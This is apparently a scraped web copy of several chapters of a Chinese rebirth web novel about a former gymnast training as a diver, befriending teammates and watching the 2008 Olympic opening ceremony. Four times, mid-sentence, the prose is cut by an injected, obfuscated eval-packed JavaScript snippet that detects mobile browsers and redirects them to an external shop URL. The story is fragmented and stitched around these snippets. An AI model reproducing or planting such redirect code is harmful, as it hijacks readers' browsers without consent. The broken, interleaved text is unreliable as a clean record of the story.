姜广怕水是因为小时候皮的很，洗澡不安分，在大盆里洗还不够，还得把其他的桶和盆都装满了。 结果涂满肥皂，“脚下生风”一头猛扎进旁边盛满水的桶子里了。于是，小小年纪就感受了一次差点就嘎了的溺水窒息感。 这会儿他也有点畏畏缩缩，不太敢往水里去。余庆丰看见他这幅模样，不由地叹了口气。原本以为只是没学过游泳不会而已，这现在一看明明不会，而是一定就不会去学。 没办法，如果让姜广这么磨磨唧唧的，这一下午估计都只能在池子边上“洗洗脚”。 于是，没办法只能心一横把姜广一脚踹池子里了。紧接着余庆丰也跳下水去，结果姜广难把控的程度远远超出他的想象。 从姜广被踹下池子里的瞬间，整个跳水馆里都能听见一声又一声高亢的男声在喊“救命”。 所有人的目光不由自主地往不远处的池子边缘看了过来。 余庆丰自己都觉得脸上挂不住，这小屁孩这么不信任他呢，立马三下两除二的把人从池子里捞起来，捂住了嘴。 其实姜广也没沉水底下去，就是被踹下去的那一瞬间脑子一片空白，下意识把“救命”喊了出来。 反应过来之后，对上教练的眸子，也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190956|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好意思，脸颊猛涨地通红。 “这会儿不叫了哈。”余庆丰看了他一眼。 他摇摇脑袋，把头埋得很低。 “先回岸上。” 余庆丰这会儿的脸色些些有点不太好看，炬火般的目光直直地盯着姜广，他这会儿像是被烧穿了，腿软的就像一团融化的棉花。 “我理解你可能是怕水的原因，脑子突然空白了，所以做出了一些无法控制的事情，但是……” 听见但是，姜广浑身抖了一激灵。 余庆丰的气场是真的令人害怕。 “你作为一名运动员，你需要保持极度的清醒，哪怕说遇到了一些意外。你需要做的是立即解决问题，而不是去叫救命。” “如果说你在跳水的时候，从十米台往下跳是吧，你意识到从起跳开始你的节奏就乱了，你该怎么办，总不能说就任由自己乱着来，从十米台直直地掉下来吧。” “现在你在这个场馆，这里这么多人，而且我在你边上呢，你怕什么？我带了多少人，看了多少人？你连我都不信任吗？” “现在还只是从岸边往水里扎，之后你从十米台往下的时候，你不是得站着就抖啊。这点问题其实都不是问题，既然你愿意过来跟我学，我就不会放低标准，我相信你可以的啊，我也相信自己的眼光的啊，我是把你当奥运的苗子教的，你就是一定会上奥运的人啊！” 姜广怯生生的点了点头，一句话没敢往外冒。 其实余庆丰的“凶”并不是说他有多么凶狠的表情，多么难听的言语。而是那一股子由内往外散的气质。 说一就是一，在自己专业的事情上要做到极致。 姜广从小在体操队也被各种教练骂过，但其实大多数教练只是懊恼怎么还学不会动作。可是余庆丰不一样的点在于，他注重的是除了专业之外还有一个叫心理诱导的部分。 专业动作，如果在天赋不错，训练方法科学的情况下，其实是个教练就能教的大差不差。 关键的是一个好的运动员，除了要有良好的专业技能，还需要拥有解决突发问题时良好的心理态度。 往往很多时候，心理输了，那就是真的会输。 “教练，我知道，我们开始吧。”姜广抬头看着余庆丰的眼睛，相当认真地说。 下水跟着余庆丰学了一会儿，姜广才意识到自己之前怕水只是心理层面上过不去，反而在水感上自己还不错，游得相当地顺畅。 这么迅速地掌握了百分之八十的要领，余庆丰也觉得惊讶，毕竟他以为可能还需要个好几天才能游得大差不差。 “你这孩子就是胆儿小，容易怯场，这不游挺好的，估计你之前体操那点困难，有个人骂骂你激一激，早就解决了。” 姜广看见教练心情明显好了不少，也就顺嘴跑火车，“那教练要不我还是回去学体操？” 余庆丰听见这话，到手的苗子哪有还放跑了的道理啊，相当利落地给了姜广后脑勺一巴掌。 “臭小子，你都进跳水队的门了，我还能让你跑了不成。” 5. 在吗？ 人的潜能都是被逼出来的。 这一下午的“游泳课”是真让姜广喜欢上了玩水。本来这个年纪的男生就是精力充沛，有使不完的牛劲儿。 哪怕他的灵魂是个临近三十的大汉，但以前不会游泳，也不懂游泳的乐趣，这会儿就颇有一种“报复性游泳”的状态。 余庆丰下午的目的就是让他把游泳学会了，也没其他要求。就看着他招来的“小王八犊子”在水里扑腾个不停，玩的相当快乐。 其实算下来余庆丰带过的小队员数不胜数，天赋都不错。但是从不会游泳到能游得八九不离十的人里，姜广是最短的。 水性好，水感好，对于跳水来说是个很抽象的说法，但又没办法不承认这样的人是真的容易出成绩。 姜广在水里“释放天性”的时间里，余庆丰在岸边盯着他看了很久。 眼前猛地浮现出一些几乎快要模糊不清的画面，自己从接触跳水到拿到大赛冠军一整条路上的种种。 同时，也会不由自主地期待会不会还有一天能够带着人再一次踏上国际大赛的赛场。 余庆丰相信一定会，也相信姜广一定可以，男台总会崛起的。 傍晚时分，国家体育总台的记者方若南来到了舟阳跳水馆。最近来的频次挺高的，方若南也和一部分小队员的关系相当熟络了。 来这的原因主要是为了拍一部纪录片，由于舟阳市为国家跳水队输送了不少女子跳台的人才，所以纪录片最终还是也为舟阳市跳水队留了篇幅。 主要记录的也是女子跳台这个项目，想要探究舟阳为什么能在这个项目上发展的越来越好。 但跳板和男子跳台也会随着带过一小部分内容，前几天就差不多把女子跳台和跳板的部分记录的差不多了。 最后就差男子跳台的部分了。 方式基本就是一个短短的访谈，主要是围绕余庆丰展开的。毕竟他是前世界冠军，本身就带着头衔和热度。 纪录片相对而言比较简单，没有特别的准备，带个麦就在池子边上开始了。也没让余庆丰去换个衣服啥的，就套了件外套。 方若南随即便开始提问。 “余指导，据我们所知，您目前还坚持在男子十米台的领域挖掘和培养人才，可以说说您依旧坚持在这个项目上的原因吗？” 余庆丰偏头看了一眼刚从水里傻乐爬上岸休息的姜广唇角微微往上挑，“其实，我个人觉得我们国家在跳水这个项目上，一直都是相当具备竞争力的，但是这几年其实男子跳台这个项目上稍微有些退步，所以作为曾经在这个项目上有一些经验的人来说，我理所应当地应该在这个时候站出来。” 方若南点点头继续提问，“您提到了目前这个项目上，其实我们的境遇是有一点青黄不接的状态了，那可以问一问我们舟阳在这个项目上有没有发现一些不错的小队员呢？” “其实，目前来说跳台的男子选手，能够上国际大赛都会有一个共同的特点，首先难度不能太低，其次完成度都要比较稳定。” “我们舟阳对于这个项目的选人上，也是根据这个情况来做进行，其实还是有身体条件不错和整体情况都不错的小队员的，比如我们目前的赵渐鸿，在整体难度上已经达到了国际水平，只是在完成度稍欠一些。” “还有我最近刚招进来的姜广，”说到这余庆丰朝姜广招了招手，示意去到他身边，“这个小男孩儿，之前学体操的，我发现他的条件其实更适合跳水，天赋和身体条件都很不错的。我也相信，我们手上这批孩子，是能够从舟阳走出去的。” 方若南看见姜广脸颊红扑扑的，刚刚游泳游累了，上半身锻炼的很精干，能够很好的展现出跳水新生代的模样。虽然这会儿还直喘气，但还是顺势在镜头前问了他一个问题。 “您好，小广同学，可以说一说作为我们余庆丰手下的小队员，你的目标是什么呢？” 姜广这会儿突然被问个问题，还是有点懵。但灵魂毕竟还是作为一个成年人，之前比赛进行过的采访也不少，还是能熟练体面地应付过去。 “我的目标就是不辜负余教练的信任，能够有一天能够顺利地站上国际大赛的赛场，为国家争光。” 采访结束后，余庆丰拍了拍他的肩膀，“现在离比赛还有很远很远的路要走，自己说出去的话，就不要放弃了。” 他重重地点了点头。 “明天北京奥运开幕式，给你们放两天假，可以休息，也可以回来跳水馆，我们队会在训练馆大厅里投影开幕式。” 姜广抬唇笑了笑，“我明天肯定过来。” - 舟阳跳水队因为地方小了点，也没有宿舍，同市的队员晚上训练完都会各回各家，一部分外市的就统一在跳水馆周围租了几间房子，教练带着他们一块住在那。 姜广他们家住城西，坐公交车就六七站的路程，说不上远但也不是很近。刚收拾好东西，准备回去就被赵渐鸿偷袭拍了拍他肩膀。 下意识地被吓得跳了起来。 “你小子，怎么神出鬼没的。”姜广抱怨一声。 赵渐鸿咧着嘴搁那笑，大手一挥就搭在了姜广肩上，“嘿嘿，今天听说有人搁跳台池里出洋相了。” “谁啊？” “你明知故问啊，谁在哪嚷嚷救命呢，跳水队全都知道了，还说你被余教练狠狠骂了一顿，没事吧。”赵渐鸿说完又立马接了句，“看你这一副无所谓的样子，肯定一个耳朵进一个耳朵出了，完全没受影响嘛。” 姜广笑着给了人一拳，“我当时也是情况紧急，第一次下水有点害怕怎么了，难道你从娘胎里就会游泳了啊。” “哼，那我学游泳可没喊救命。” “就你嘴欠。” 去公交站的路上，姜广才知道赵渐鸿这家伙竟然就住他家边上儿的一栋楼。要说关系的话，应该能算是隔壁栋的邻居。 姜广这才意识到原来他这老小区院子，还真是出体育生啊。 “今天余教练可夸你了，在记者面前呢，说不定哪天你妈就能在电视上听见你名字了。” 赵渐鸿睁大眼睛，“真的吗？我才知道余教练还注意的到我呢，之前他带了我几天就给我发配给何教练了，我还以为他不喜欢我呢。” “那时候骂你吗？” “那肯定啊，他谁都骂，谁不给在他手底下给收拾服帖了，不哭几次都对不起余教练的嘴皮子。” 姜广听乐了，直接提取关键点，“那就是说你被骂哭过好几次咯，好可惜，没看到现场。” “我那时候可小了，八九岁，也藏不住事，被骂了就嘟着脸对着墙哭。但是，该说不说，我当时哭的可招人疼，其他教练都会过来哄我。” “你还挺骄傲。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190957|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赵渐鸿点点头，一脸臭屁的笑。 回家的公交车上，姜广发现赵渐鸿就是话多又自来熟的性格，一路上叽叽喳喳的就没停过。 姜广偶尔搭两句话，但多数时候也就是安安静静的听。 “对了你有□□吗？”赵渐鸿问。 姜广对□□的记忆有些遥远，“有，但是没记住号。” “没事，那你回去加我，我给你写纸上。” - 到家时刚过了七点钟，张雅君早早把饭做好了，就坐在家里等姜广回来。 他刚把包放下，就被催着赶紧洗手吃饭。 第一天训练，张雅君其实还是很担心的，毕竟又是一项新的运动，以前体操经常这扭了那扭了的，就挺难练了。 更何况是跳水，从高处往下跳，如果没处理好，听人说把肋骨摔断了也很常见。 “怎么样，第一天去跳水队。” 姜广确实有点饿，下午在水里使牛劲儿使的多了，这会就大口吃饭，“还可以，第一天就把游泳学会了。” “那你什么时候去台子上跳啊，我听他们说跳水跳不好就容易骨折什么的，还是有点危险的。” 姜广知道她担心，笑了笑想打消疑虑，“没事，肯定练好了才去跳啊。而且，哪个运动不会受伤啊，我之前练体操，没练好不也是从杠上往下摔啊。” “所以，别担心，我会保护好自己，而且还有教练呢。” 饭后，姜广回房间用家里那台电脑登上了他上辈子闲置了好几年的□□号。 先是添加了赵渐鸿的好友，紧接着就翻了翻自己的□□空间。 确实对于他这个身体年轻但灵魂成熟的重生人来说，每一条都是岁月的痕迹。 印象中是2018年秋天，他发了最后一条空间动态。 “今天比赛状态很好，他们都说我肯定能去东京，我也相信我可以的。” 但事与愿违，最后就连世锦赛之类的大赛都没去成。 似乎，遗憾从那一年开始泛滥，姜广有了一个又一个的遗憾。 但好在，他又回来了。 翻好友的时候，他突然看见了一个熟悉的名字——于冈。 上辈子的印象里是“12年里约奥运男子三米板冠军”。 最初他很小的时候就和姜广一起练体操，之后又转去隔壁市练了几年跳水，却被教练说天赋一般，最后没学了也准备放弃了体育的路子。 但也是大概这个时间段，被国外的跳水教练看中了，最后代表了M国比赛。 此时，他那冷淡的系统突然说话。 “检测到优良跳水队员，说服他去跳水队成为你的队友吧。” 姜广虽然也希望能够说服，但是也不敢轻易打包票说能做到，毕竟他又不是教练。 “我怎么说服？” “那请你自己想办法，我只能告诉你说服他的好处就是，舟阳队成绩提升更上一层楼，教学环境和资源都会得到提升，而且于冈这个人胆大心细，也擅长协调队伍，能够保证跳水队这个大团队的团结。” 姜广觉得有点难，但也应下了。 毕竟作为舟阳的跳水好手，便宜了M国算是怎么回事，而且上辈子他只是没有遇到能看到他潜力的伯乐而已。 于是，他打开聊天窗口，缓缓敲下两个字。 “在吗？” 6. 任务奖励 发完消息后，姜广想了挺久，他这破系统为什么什么用也没有啊？ 按从前的小说来看，总得把他天赋拉一拉之类的吧。结果到现在，这系统也就提供了几个破消息，其他方面是一点忙也帮不上。 “我为什么要相信你去学跳水啊，万一我这辈子努努力在体操队也发光发热了呢！”他不解地问系统。 系统许久没回应，最后淡淡地说了一声，“你重生是被谁捞的你知道吗？我不选你，世界上早就没你这个人了，没人记得你那段坎坷的经历，你也不算是优秀的运动员。” 姜广仿佛被插了n把刀，但还是不死心，“如果我这次不学跳水会怎样呢？” 系统：“会死。” 死这个字蹦出来的瞬间，他就抖了一激灵。好了，已老实求放过，他会好好学跳水的。 于冈的消息回的慢，直到晚上十点多才上线回复。 一条于：【怎么了，小姜/疑惑emoji】 广广不吃姜：【告诉你个好消息！】 一条于：【什么什么！】 广广不吃姜：【我最近转项去跳水队了呢】 一条于：【真的吗？体□□不是练的都差不多了吗，我上次看你自由操做的都很好啊，突然放弃从头开始感觉有点可惜。】 广广不吃姜：【没事，你明天有事没，我不用训练，找你去玩，顺便我们方面聊呗。】 一条于：【好啊，来我家，我早上学完英语就没事了。】 姜广回了个OK手势，就匆匆把电脑关了，准备上床睡觉，毕竟这会儿他妈可是嚷嚷桑桑好半天让他别熬夜，再玩会儿估计就得冲进来把线拔了。 刚有点睡意，系统突然莫名其妙地“叮咚”一声，把仅剩的睡意都“劝退”了。 “现发放‘成为余教练弟子’的任务奖励，请自行从面前的选项中选择一张奖励卡。” 姜广睁开眼睛，稍稍有些懵，“怎么还有奖励，你之前也没说啊。” “你不也没问。” “那干嘛大半夜才发啊。” “明天要休年假，突然想起来没做完，就加个班。” 姜广：“……” 加班还得把他给吵醒了，该死的狗屁系统，但还是详细的看起了面前这几张选项卡。 选项A：来一场心理排解吧，作用评级五星（运动员当然要学会排解压力啦，再也不用害怕比赛怯场啦） 选项B：伤病短期消失卡，作用评级六星（遇到伤病不用怕，用它在赛场上依旧能够完美发挥） 选项C：奖金翻倍卡，作用评级三星（钱包空空不要紧，用它自动给你双倍比赛奖金哦） 姜广看完有些纠结，其实三个都不错，“请问我选择了是可以先不用的吗？” “可以保存在我的背包，之后需要再使用。” “那我选A。” 姜广其实也觉得B对运动员来说是极大的优势，搞体育的人或多或少都会渐渐地养出一具有点毛病的身体。如果能把伤病都解决，大部分运动员的运动生涯都能够延长不少。 但是，对于他自己来说，没有伤病重要，心理状态良好更重要。他一直以来都不是心理强大的运动员，他总是少了那么一点儿从内而外的力量。 他更为需要的是稳定的内核。 半夜的舟阳市微微有些凉，轻风把床边推开的窗吹的嘎吱响。张雅君轻手轻脚进门把还在转的风扇关了，给姜广盖了床薄薄的毯子才回床休息。 早上的阳光就热烈的刺眼，姜广翻了个身，本身还有点困但还是起床洗漱收拾。他一直都醒的早，以前也是第一个去体操馆里训练的，相比之下他比大部分人都刻苦。 但也很残酷，竞技体育并不是单单拼命就能出结果的。 在家吃完早饭，客厅的电视在播晨间新闻，大概都是在说开幕式已经到了最终的检查阶段，无数次的排练也一定会确保开幕式的顺利进行。 大家对于今年在我们国家办奥运的态度都相当自豪，都想着能在家门口去看比赛呢。可是却都是一票难求的状态，即便姜广父母也早早开始帮忙找门路，最后也没弄着门票来。 在家待到差不多九点，姜广背个包就准备去找于冈。于冈的家在城东，离姜广他们家有点远，他们也就是因为体操才认识的。 街道上到处都是庆祝奥运开幕的横幅和条幅，大多数人都喜气洋洋的，相当开心。 到于冈家楼下时，十点刚过了一刻钟。姜广出发的时候打了个电话，所以于冈早早在楼下等着了。 他们有段时间没见了，姜广这才发现于冈和他远古记忆里十五六岁的样子高多了。身子很挺拔，身子比例相当优越。 “小姜，好久不见。”于冈朝他笑。 姜广也跟着傻乎乎地笑，“好久没见，感觉你又高又帅了不少，难怪最后不练体操了，你这大高个，自由操重心肯定不稳啊。” “哈哈哈，没有没有，你现在不也是个大帅哥，我们先上楼，我爸妈都不在家，我给你洗了昨天我妈才买的葡萄，可甜了。” 于冈家的房子比姜广家大多了，经济条件也好不少，当初国内没出成绩，最后就打算去国外留学，却被国外教练发掘才又捡起了体育的路子。 “你学什么英语呢？”姜广问完就往嘴里塞了一颗葡萄。 于冈摇摇头，“没，今年九月我妈准备让我直接出国留学？我妈让我先练练，不然怕我到时候跟不上。” “你不在国内读高中了啊？” “她们说去国外读也一样。” “那你还继续学体育吗？。” 于冈叹了口气，“大概率可能是不会学了，虽然我学了那么久突然放弃了也挺可惜，但也没办法嘛。你呢，怎么突然去跳水了，准备练三米板还是十米台啊。” “应该是十米台吧，毕竟带我的教练是余庆丰，他之前不是男台冠军嘛。” “不错啊，他亲自把你挑过去的吗？” “对啊，你要不要和我一起去跳水队，我觉得你去肯定能成，而且你这条件感觉就是电视上三米板冠军的样子。” 姜广说完，房子里顿时变得相当安静，只有电风扇转动的轻微声响。于冈手里本还捧着本书，这会儿愣的书被风吹翻了好几页都没反应。 “于哥？”他轻轻叫了一声，手在人面前晃了好几下。 于冈这才回过神来，“没事，就想到挺多之前在跳水队的事儿的。” “你之前练的应该也不差吧，为什么不练了啊。” “唉，”于冈眼底里突然有泪打转，“说来话长，当初我不是和你在体操队，然后那天你没来我就被隔壁H市选去练跳水了，当时我也很怕练不好，每天拼命练。” “直到练的刚有点成效，就一不小心上板训练的时候，没控制好脚摔板上了，最后脚踝骨折了，就去做手术。” “然后我们总教练就和我妈说我可能不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190958|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适合跳水，理解能力太差，学动作太慢了之类的。但其实我知道，他就是觉得我腿都断了，练也出不了成绩了而已。” 姜广给对方递了张纸巾，“他只是不会教，我真觉得你肯定可以的，你要不跟我去舟阳的跳水队，这样我也有个伴，说不定有一天还能一块去比赛呢。” “可是，我还挺担心他们看不上我的，毕竟舟阳还是余教练坐镇，要求更高。” 姜广笑笑，起身莫名其妙地转了几圈，“你看我。” “啊？” “就我这样的条件，还能被余教练从体操队那么多人里给挑出来，你怕啥。” “而且，我昨天看你空间，你不是随随便便跳远都两米五六，你这能力明明杠杠的！” 于冈还想说什么，被姜广堵了回去，“于哥，我知道你一直比我坚强多了，我那时候练不好哭好多次，都没见你哭过一次，你肯定不想退出的吧，而且我们就是先去试试，给自己一个机会而已。” “好吧，也就先试试，到时候行不行还得问我妈，毕竟他们都做好送我出国的准备了。” 姜广笑哈哈，“没关系，就先试试，不过说过来我觉得你果然还是我认识的那个于大哥，比我强多了。” 把人好不容易说服后，两人中午吃过午饭，他就趁热打铁说把人直接带去跳水队里看看。 今天原本跳水队放假，没有训练任务，但是因为说晚上会统一看开幕式，所以也有一部分人趁着人少，自己独自练体能。 去跳水队的车上，于冈拿着手机看视频，是之前从电脑上下载的跳水世锦赛三米板的比赛录像。 “哇，这个墨西哥的跳的好高啊。”姜广看着没忍住感叹。 于冈点点头，“他走板感觉都挺好的，节奏把控的都很好，他这个307感觉都蹦到五米台上转了三圈了。” “但是，感觉瑕疵也挺大，就是入水好偏，水花太大，就我这个新手都感觉分数不太好。” “墨西哥一直都这样，就入水不太行。” “那于哥你能做这个动作吗？”姜广好奇地问。 于冈摇头，“你也太看得起我了，虽然我练过但成功率还不太行。” “没事，你肯定行，今年复出苦练一年，明年不就有全国选拔赛了吗，你肯定能去那一鸣惊人。” 说完，两人对视一眼都笑了。 两人刚到跳水馆门口，就看见了余庆丰正在焦头烂额的打电话，语气很不好，大概就是在骂，明明能及时送过来的投影机怎么这会儿就出岔子了之类的。 姜广正准备等余教练打完电话就打招呼，结果还没开口人就转身看见了他，电话也正巧挂断了。 “这么早啊，今天没训练不多休息休息。诶，你身边这个不是于冈吗？怎么也来了？”余庆丰盯着姜广问。 姜广稍微有些吃惊，“余教练你怎么认识他啊。” “肯定认识啊，当时被隔壁市那个跳水半吊子教练给把人挑走了，我还想去把人给抢回来呢，当时我就觉得这孩子就适合跳水。” 姜广听完戳了戳于冈，示意他自己开口。 他深呼一口气，“余教练，我到现在其实还想继续学跳水。可是，之前他们说我根本没有天分，不知道能不能来你们这再试试，我肯定会努力的。” “谁说你没天分？” “梁教练。” 余庆丰嗤笑一声，“他那个半吊子，就是野猪吃不了细糠。” 7. 一起加油 于冈入队的决定比想象中要快很多，几乎就是余庆丰一通电话的事，紧接着就拍板定案了。 反而如此迅速的决定让于冈觉得不可思议，还不折不饶的向余庆丰把自己的问题全都摆明面上剖析了一遍。 只是没想到余庆丰只是摆了摆手，风轻云淡，“没关系的，你这都是小毛病，我准备把你丢给何企教练，他给你调教调教就改过来了。你这条件，不练跳水才可以，那个半吊子不会看人，我还不会吗？” “谢谢，余教练。”于冈低声说。 余庆丰看他这样子，微微蹙了蹙眉头，心底里在骂梁讯那个狗教练，把这么个好苗子给整自闭了。接着还是摸了摸于冈的脑袋，“好好训练吧，你也练了这么久，明年带你去全国比赛见见世面，涨涨经验就渐渐不会有包袱了。” 因为入队的顺利，于冈也是直接打电话回家说了自己要坚持跳水的事。他父母第一反应其实是不同意的，但他们也懂于冈这人的性子，从小就有主意，他们说再多也没法动摇于冈已经认定了的事。 其实大多数父母都一样，竞技体育本来就是伴随着伤病，劳累种种的，也没什么人愿意让孩子吃苦。 紧接着余庆丰拎着于冈和姜广一块去办了饭卡和出入证，姜广昨天吃饭还拿的余庆丰的卡，现在也能用自己的卡了。 “你们俩自己玩哈，我今天还有事就不带你俩了。”余庆丰草草留下一句话就走开了。 两人在原地目送教练离开，结果猛地被赵渐鸿那家伙给吓了一大跳，这人又整背后偷袭那一套。 姜广就差给吓出心脏病了，转头重重地给了人一拳。 赵渐鸿捂着肚子，脸颊五官拧巴着，看起来相当痛苦，呜呜咽咽的哼唧了好几声。 两人见状，真有些急了，正准备把人背着去跳水队的医务室呢。 赵渐鸿猛地大笑，挑了挑眉毛，“怎么样，我演技不错吧，是不是都能和电影明星比一比了。” 姜广“呸”了几声，扭过头懒得搭理。 但对方就不是能冷场的性格，立马又在耳朵边上“吱吱哇哇”的说一堆话，就仿佛闭嘴能要了他命一样。 最后才把话题引到于冈上，“这位大帅哥是谁啊。” 姜广这才搭话，一说也是语出惊人，“新晋三米板大神，未来的世界冠军。” 于冈听的都脸红。 但赵渐鸿相当捧场，“这不大腿嘛，以后拿了冠军，金牌也给我戴戴呗。” 于是有一搭没一搭的聊了聊，几人就聊到训练馆里去了。赵渐鸿今天本来就是过来加练的，他二组动作总跳不好，也不信邪就每天多练，就想着赶紧把难关给攻克了。 刚进场馆，姜广也没想训练，就是说带着于冈参观参观而已，结果最后，莫名其妙变成了于冈和赵渐鸿两个人盯着他训练了。 还说什么他是新入门的，他们俩可以看着他练练基础。 最开始依旧是热身，三个人一起做了八个八拍才结束。紧接着就是压腿训练，压脚尖和膝盖。 这俩人和余教练比，根本没轻多少。姜广疼也没敢喊，就咬着牙忍。 “来做完这组压腿训练，练练直体。但是，小姜你之前体操跳直体720都很熟悉了，应该不难，就简单改改动作吧。”于冈坐在他膝盖上笑着说。 刚起身，还没休息个几分钟，姜广就被赵渐鸿给拎到墙角边上了，嘴上笑嘻嘻，“来吧，那天余教练可和你说了怎么模仿训练。” 和之前一样就是身子紧紧贴着墙，踮脚，手臂贴着耳垂，比站军姿还难的多。 身子有一个地方泄力，就会发软，直体做的就不标准。 这个训练也是为了记住这个感觉，这样在空中做动作时也能记得住动作要领，不会轻易就泄劲儿。 紧接着就从地面模拟转到垒木上，双手握在垒木上，肩部不用紧绷可以放松，双腿并拢。目的主要是为了能够用目光感受，身体在空中直体的样子。 其实这个感觉姜广相当熟悉，毕竟单杠上的直体翻转，腾跃，都和现在差不多。 “这对你来说太简单了，如果这是在杠上的话，估计你都能给我们翻几圈。”于冈边说边给他纠正微小的细节问题。 这个训练做完接着就是划臂训练，主要作用是模拟一个在跳台上起跳的动态过程。需要保持姿态保持挺拔的同时，能够接上力，获得一个不错的起跳高度。 首先，保持直体姿势，脚尖绷紧，手臂贴在耳边，背挺直，保持身体是一条直线。紧接着，身子往下屈膝，与此同时双手往前划臂，在身体往上挺直时手臂划完一整圈回到最初的直体姿态。 实际上在跳台上往下屈膝起跳后就需要开始做动作了，不会恢复原样，但在陆上依旧需要训练这个屈膝到起跳这一整个动态的过程。 跳台和跳板不同，跳台需要的就是精准把控好定点位置，所以起跳的高度很重要，力气要能使对地方。 “怎么样？”赵渐鸿问他。 姜广摇摇脑袋，“感觉还可以，但估计真的去跳会跳不好。” “正常，刚开始哪能一飞冲天的。” 接着几个人又在蹦床上练，相对于两个人来说姜广确实就是小白，一个动作都不会。 赵渐鸿也很耐心，还是叫基本功，在蹦床上主要练发力方式，和控制身体的能力。 不过，对姜广来说这俩确实就是恶魔“小教练”，练的狠，也不给机会喘口气。 一下午时间就在两个人不停地说“再来一遍”中过去了。 晚饭食堂还是开了，但今天原本上还是放了个假，人没那么多，也就做的少。但同样的，还是营养配方，保证搭配的科学健康。 练了一下午姜广是饿的不行，狼吞虎咽的把一整盘饭吃了个干净。 晚上的开幕式是在训练馆的大厅里，不止是跳水队的人会在这，周边的居民，愿意的都能来，要么带个小马扎，要么就席地而坐。 开幕式是八点钟开始，但七点刚过就聚集了很多人。余庆丰跟着师傅调试不停地设备，直到能准备的投影出游泳馆这台老旧的台式电脑画面才结束。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190959|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他们仨个找了个相对空旷的角落，赵渐鸿不知道从哪掏了把瓜子，嘴上动作动个不停一直在吐瓜子壳。 “你别乱吐哈。”姜广笑着警告。 赵渐鸿摆摆手，倒了半掌瓜子给他手心里，“不会不会，我有素质。”说完，又偏着头问于冈，“你要吗？” 瓜子是赵渐鸿早上出门从家里带的，一整包，刚刚打开掏了一把放裤子兜里。 时间渐渐临近八点，场馆里的人更多了，七嘴八舌一人一句话，馆里显得格外热闹。气氛也相当不错，全都是期待。 姜广上辈子看开幕可没和这么多人在一块，而是一个人在家看的，那天晚上父母有事都出门了，就剩他一个人。 还记得他看运动员入场时就看见了和他之前一起在市体操队里练的师兄，当时就可羡慕他们能上奥运，为国争光。 当时他还在电视前边看开幕边练动作，脑子里都是在想什么时候能代表国家参加一届奥运，但也可惜没那么机会。 现在身边多了两个人陪着，倒也莫名觉得挺安心。 “于哥，你说你下届奥运是不是就有机会去了。” 于冈摇头，“你也太看得起我了，想去奥运，起码得拼过国家队那么多人呢。” “你们俩其实都不错，先去全运会大放光彩，不就轻轻松松进国家队。”姜广说道。 赵渐鸿摆摆手，“还早还早，我等你这个体操大拿和我一块去呢，说不定到时候我俩还能配个双人。” “那你有的等。” 于冈笑着点头，偏过脑袋眼睛紧紧地盯着他们两人看，“你们说，去奥运到底是啥感觉。” “那还用想，肯定紧张的要命。边上还都是外国人，都不认识，不是就更害怕了。”赵渐鸿一边说一边忙着把瓜子壳涂在手上的纸上。 姜广摇摇脑袋，“想不到。” 于冈还想说话，就听见有人大声喊了一声，“别说话啦，开始了！” 投影里的镜头缓缓扫过几个主要的场馆，最终停留在鸟巢体育馆，灯光骤黯，欢迎焰火瞬间点燃，最终激活古老的日晷，从而开始开幕的击缶表演。 这场开幕式无疑是振奋的，激动的，场馆里的人都看的目瞪口呆，有人沉浸，也有人哭泣。 姜广低着脑袋，偷偷地也擦了擦眼角的一滴眼泪。 “这看的人热血沸腾的，我都想跑去跳台上跳几把了。”赵渐鸿就乐呵呵的，完全没有难过的情绪。 于冈从兜里掏了张纸，悄悄的递给了姜广，没说话，只是弯着眉毛看了看他。 他抬头，眼底的情绪散了些，转而留下的只有坚定。 开幕式持续了四个小时左右，大家挤在场馆里也热，但没人抱怨，也都坐的住，看了全程。 直到结束，太晚了也没公交车。最后余庆丰骑着他那台两轮车，硬是把他们仨带上了，从城东送到城西，最后把人都送到了家才放心。 姜广回家脱衣服准备休息，从裤兜里翻出张纸条，上面工工整整写了几个大字，“一起加油，奥运上见。” 8. 105C 